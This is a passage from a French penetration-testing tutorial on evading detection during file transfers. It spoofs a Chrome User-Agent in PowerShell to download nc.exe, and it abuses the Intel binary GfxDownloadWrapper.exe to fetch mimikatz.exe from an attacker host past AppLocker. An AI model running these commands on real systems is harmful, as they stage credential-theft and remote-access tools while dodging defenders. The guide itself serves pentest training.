Evading Detection
🕵️ Changer l'User-Agent
Les administrateurs vigilants peuvent mettre en liste noire certains User-Agents connus pour leurs usages malveillants. Heureusement, PowerShell permet de modifier facilement l'User-Agent dans les commandes de type Invoke-WebRequest
. En définissant un User-Agent populaire (par exemple celui de Chrome), une requête HTTP peut sembler plus "légitime".
✅ Lister les User-Agents disponibles
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | \
Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
Exemples d'User-Agent retournés :
InternetExplorer :
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; en-US)
FireFox :
Mozilla/5.0 (Windows NT 10.0; en-US) Gecko/20100401 Firefox/4.0
Chrome :
Mozilla/5.0 (Windows NT 10.0; en-US) AppleWebKit/... Chrome/7.0.500.0 Safari/...
Opera :
Opera/9.70 (Windows NT 10.0; en-US) Presto/2.2.1
Safari :
Mozilla/5.0 (Windows NT 10.0; en-US) AppleWebKit/... Version/5.0 Safari/...
Exemple : usurper l'User-Agent Chrome
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://<IP CIBLE>/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
Serveur :
nc -lvnp 80
Sortie :
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; en-US) AppleWebKit/... Chrome/... Safari/...
📂 Contournement par Binaries LOLBAS / GTFOBins
Quand PowerShell ou Netcat sont bloqués (whitelisting, journalisation...), il est possible d'exploiter des binaries "Living Off The Land" (LOLBIN), parfois appelés misplaced trust binaries. Ces programmes sont souvent préinstallés dans le système et peuvent être détournés.
🧵 Exemple : GfxDownloadWrapper.exe
Ce binaire, installé avec certains pilotes Intel Graphics, contient une fonctionnalité de téléchargement automatique.
GfxDownloadWrapper.exe "http://<IP ATTAQUANT>/mimikatz.exe" "C:\Temp\mimikatz.exe"
Ce type de binaire peut être autorisé par la politique de sécurité (ex. AppLocker) et ne pas générer d'alerte.
🧰 Autres ressources utiles :
LOLBAS (Windows) : https://lolbas-project.github.io/
GTFOBins (Linux) : https://gtfobins.github.io/
Ces projets listent de nombreux outils systèmes pouvant être détournés pour effectuer des transferts de fichiers, exécuter du code, ou encore établir des connexions réseau.
📝 En Conclusion
Les techniques de transfert de fichiers sont variées et incontournables en phase d'exploitation. Il est fortement recommandé de :
S'exercer à utiliser plusieurs méthodes : PowerShell, Certutil, SMB, WebDAV, BITS, etc.
Adapter ses outils en fonction des contraintes rencontrées (filtrage, logs, whitelisting).
Explorer de nouveaux LOLBIN/GTFOBIN à chaque engagement ou lab.
Cette maîtrise vous permettra de conserver un avantage tactique, même dans des environnements fortement sécurisés.
📚 Ressources Utiles
Mis à jour